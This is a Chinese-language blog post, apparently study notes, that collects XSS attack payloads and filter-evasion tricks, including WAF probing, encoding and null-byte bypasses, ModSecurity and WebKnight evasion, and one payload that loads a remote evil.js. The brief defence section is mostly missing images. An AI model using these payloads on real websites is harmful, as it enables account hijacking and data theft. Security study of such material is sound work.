XSS攻击方法总结

参考链接https://blog.youkuaiyun.com/qq_29277155/article/details/51320064

0x01.常规插入及其绕过

在这里插入图片描述
DOM型XSS,DOM全称为文档对象模型,与反射型存储型xss的不同之处在于其不会经过服务端的处理,而是经过JavaScript dom的渲染构造完dom树后,浏览器解析时才会被js的解析引擎解析执行。

1. 利用字符编码

见前一章第2讲,有unicode(html),ascii(js),hex(url)…

2 绕过长度限制

1.利用事件缩短长度:

 "οnclick=alert(1)//

2.最常用的一个“藏代码”的地方,就是“location.hash”。

在这里插入图片描述

3.两个文本框,第二个文本框允许写入更多的字节。此时可以利用HTML的”注释符号“

"><!--
--><script>alert(xss);<script>"

4.使用标签:

标签是定义所有使用”相对路径”标签的hosting地址

<body>
<base href="http://www/google.com" />
<img scr="/int1/...png" />
</body>

在这里插入图片描述

5.window.name的妙用:

window.name对象是一个很神奇的东西,对当前的window.name对象赋值,没有特殊字符的限制。因为window对象是浏览器的窗体,而并非document对象,因此很多时候window对象不受同
策略的限制。攻击者利用这个对象,可以实现跨域、跨页面传递数据。

在这里插入图片描述

在这里插入图片描述

3.使用基础标签

前篇,

0x02探测的规则

1 WAF规则探测

  1. 使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等;

  2. 如果过滤闭合标签,尝试无闭合标签的payload(<b,<i,<marquee)观察响应;

  3. 尝试以下的payload.

     <script>alert(1);</script>
    
     <script>prompt(1);</script>
     
     <script>confirm      (1);</script>
     
     <script src="http://rhainfosec.com/evil.js">
    

2 大小写混合字符

<scRiPt>alert(1);</scrIPt>

1、如果大小写不行的话,<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>;

2、使用<a>标签测试

<a  href=“http://www.google.com">Clickme</a>

<a被过滤?
href被过滤?
其他内容被过滤?

如果没有过滤尝试使用

<a href=”javascript:alert(1)”>Clickme</a>

尝试使用错误的事件查看过滤

<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>

HTML5拥有150个事件处理函数,可以多尝试其他函数

<body οnhashchange=alert(1)><a href=#>clickit

3. 测试其他标签

1.src属性

在这里插入图片描述

<IFRAME SRC="javascript:alert(29);"></IFRAME>

2.iframe标签

简直不可思议-----------可以不用>,大概是</a当成无意义数据了。。。。。。。。。。。。。。。。。。。。

<iframe onmouseover=javascript:alert(1) </a>
<script>alert(1) </script </a>

在这里插入图片描述

3.action属性

<form action=javascript:alert(22)><input/type=submit>

4.“data”属性

<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
K">


<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">

5.嵌套

<scr<scrip>ip>

6.事件处理

<svg/οnlοad=prompt(1);>
<marquee/onstart=confirm(2)>/
<body οnlοad=prompt(1);>
<select autofocus οnfοcus=alert(1)>
<textarea autofocus οnfοcus=alert(1)>
<keygen autofocus οnfοcus=alert(1)>
<video><source οnerrοr="javascript:alert(1)">

7.圆括号被过滤

<a onmouseover="javascript:window.onerror=alert;throw 1">aqq</a>

<img src=x onerror="javascript:window.onerror=alert;  throw 1">

 <body onload="javascript:window.onerror=alert;throw 1">

 <body onload="javascript:window.onerror=eval;throw '=alert\x2813\x29'">
 
 <body onload="javascript:window.onerror=eval;throw &#039;=alert\x2813\x29&#039;">
 

8.location

<a onmouseover=location='javascript:alert(1)'>click

<body onfocus=location='javascript:alert(1)'>click

9.();:被过滤

 <svg><script>alert&#40/1/&#41</script>  

竟然绕过了<script>标签html不编码的规则


第一层解码:

<a href="j&#x41vascript&#58alert%2831337%29">Hello</a>

第二层解码----------

&#x26 #x26解码后为**&#26**,再次解码为**&**

%25%28 解码后为 %28 再次解码为**(**

<a  href="j&#x26#x26#x41vascript:alert%252831337%2529">Hello</a>

10编码

JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码

href=
action=

location=
on*=
name=
background=
poster=
src=

data= //只支持base64

0x03基于上下文的过滤

1.输入反射属性

<input value="XSStest" type=text>

我们可以使用 “><imgsrc=x οnerrοr=prompt(0);>触发
但是如果<>被过滤,我们仍然可以使用“ autofocusοnfοcus=alert(1)//触发,基本是使用“ 关闭value属性,再加入我们的执行脚本

" οnmοuseοver="prompt(0) x="
" οnfοcusin=alert(1)     autofocus x="
" οnfοcusοut=alert(1)     autofocus x="
" οnblur=alert(1) autofocus     a="

输入反射在<script>标签内
类似这种情况:

<script>
Var x=”Input”;
</script>

通常,我们使用“></script>,闭合前面的</script>标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt()confirm() ,
例如:“;alert(1)//

2.非常规事件监听

在这里插入图片描述

3.超文本内容

代码中的情况如下

<a href=”Userinput”>Click</a>

可以使用javascript:alert(1)//直接执行

<a href="javascript:alert(1)//">Click</a>

4.变形

主要包含大小写JavaScript变形

javascript&#058;alert(1)
javaSCRIPT&colon;alert(1)
JaVaScRipT:alert(1)
javas&Tab;cript:\u0061lert(1);
javascript:\u0061lert&#x28;1&#x29

5.编码绕过(强)

在这里插入图片描述

<script>
encodeURIComponent(''-prompt(1)-'')
//等价于
''-alert(1)-''
</script>

   <svg>
   <script>
    encodeURIComponent(&#039;&#039;-alert(1)-&#039;&#039;)
    encodeURIComponent(&#039;&#039;-prompt(1)-&#039;&#039;)
  </script>

6. 输入反射在svg标签内

在这里插入图片描述
输入&quot避开 URL对"的编码,随后HTML解码为"

7.字符集

在这里插入图片描述

8 空字节绕过

最长用来绕过mod_security防火墙,形式如下:

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

空字节只适用于PHP 5.3.8以上的版本???

9 语法BUG

10 Unicode分隔符(暂时不懂)

在这里插入图片描述

11.缺少X-frame选项(未验证)

在这里插入图片描述

12.Window.name欺骗

13ModSecurity绕过

在这里插入图片描述
参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html

14 WEB KNIGHT绕过

<a href="j&Tab;a&Tab;v&Tab;ascript:alert(1)//">Click</a>

使用 编码绕过.
在这里插入图片描述

15.XSS防御总结

在这里插入图片描述
在这里插入图片描述

1.处理富文本

在这里插入图片描述

2.防御DOM Based XSS

事实上,DOM Based XSS是从Javascript中输出数据到HTML页面中。

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值